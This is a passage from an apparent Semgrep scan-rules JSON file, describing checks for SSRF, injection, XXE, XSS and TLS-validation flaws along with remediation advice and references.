avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","id":"python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","name":"python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-url-host.tainted-url-host","id":"php.lang.security.injection.tainted-url-host.tainted-url-host","name":"php.lang.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.actix.nosql.mongodb-taint.mongodb-taint","id":"rust.actix.nosql.mongodb-taint.mongodb-taint","name":"rust.actix.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","id":"java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","name":"java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dangerous client config used, ensure SSL verification"},"help":{"markdown":"Dangerous client config used, ensure SSL verification\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.rustls-dangerous.rustls-dangerous)\n - [https://docs.rs/rustls/latest/rustls/client/struct.DangerousClientConfig.html](https://docs.rs/rustls/latest/rustls/client/struct.DangerousClientConfig.html)\n - [https://docs.rs/rustls/latest/rustls/client/struct.ClientConfig.html#method.dangerous](https://docs.rs/rustls/latest/rustls/client/struct.ClientConfig.html#method.dangerous)\n","text":"Dangerous client config used, ensure SSL verification"},"helpUri":"https://semgrep.dev/r/rust.lang.security.rustls-dangerous.rustls-dangerous","id":"rust.lang.security.rustls-dangerous.rustls-dangerous","name":"rust.lang.security.rustls-dangerous.rustls-dangerous","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.rustls-dangerous.rustls-dangerous"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","id":"java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","name":"java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"help":{"markdown":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","id":"cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","name":"cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account."},"help":{"markdown":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards)\n - [https://developer.apple.com/documentation/uikit/uipasteboard?language=swift](https://developer.apple.com/documentation/uikit/uipasteboard?language=swift)\n - [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)\n","text":"The application was found to use named persistent pasteboards, which Apple strongly discourages and were deprecated in iOS 10. The application should use shared containers to pass data to trusted applications deployed under the same developer account."},"helpUri":"https://semgrep.dev/r/swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","id":"swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","name":"swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.clipboard.named-pasteboard.swift-named-persistent-pasteboards"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","id":"java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","name":"java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.servletresponse-writer-xss-deepsemgrep.servletresponse-writer-xss-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts."},"help":{"markdown":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param)\n - [https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/pages_security_tips_xss.htm](https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/pages_security_tips_xss.htm)\n","text":"To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts. Please update your code to use either the JSENCODE method to escape URL parameters or the escape=\"true\" attribute on <apex:outputText> tags. Passing URL parameters directly into scripts and DOM sinks creates an opportunity for Cross-Site Scripting attacks. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. To remediate this issue, ensure that all URL parameters are properly escaped before including them in scripts."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","id":"generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","name":"generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.vf.xssfromunescapedurlparam.xss-from-unescaped-url-param"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread()."},"help":{"markdown":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os1)\n","text":"os.preadv() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use a combination of os.readv() and os.pread()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os1","id":"python.lang.compatibility.python37.python37-compatibility-os1","name":"python.lang.compatibility.python37.python37-compatibility-os1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-os1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pg-sqli.pg-sqli)\n - [https://pg.uptrace.dev/](https://pg.uptrace.dev/)\n - [https://pkg.go.dev/github.com/go-pg/pg/v10](https://pkg.go.dev/github.com/go-pg/pg/v10)\n","text":"Detected string concatenation with a non-literal variable in a go-pg SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead of string concatenation. You can use parameterized queries like so: '(SELECT ? FROM table, data1)'"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pg-sqli.pg-sqli","id":"go.lang.security.audit.sqli.pg-sqli.pg-sqli","name":"go.lang.security.audit.sqli.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family."},"help":{"markdown":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.system-command.dont-call-system.dont-call-system)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Don't call `system`. It's a high-level wrapper that allows for stacking multiple commands. Always prefer a more restrictive API such as calling `execve` from the `exec` family."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.system-command.dont-call-system.dont-call-system","id":"cpp.lang.security.system-command.dont-call-system.dont-call-system","name":"cpp.lang.security.system-command.dont-call-system.dont-call-system","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.system-command.dont-call-system.dont-call-system"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security."},"help":{"markdown":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-uuid-version.insecure-uuid-version)\n - [https://www.landh.tech/blog/20230811-sandwich-attack/](https://www.landh.tech/blog/20230811-sandwich-attack/)\n","text":"Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-uuid-version.insecure-uuid-version","id":"python.lang.security.insecure-uuid-version.insecure-uuid-version","name":"python.lang.security.insecure-uuid-version.insecure-uuid-version","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-uuid-version.insecure-uuid-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-os-command-injection](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-os-command-injection)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Foscmd](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Foscmd)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent command injection, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.servlets.security.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM 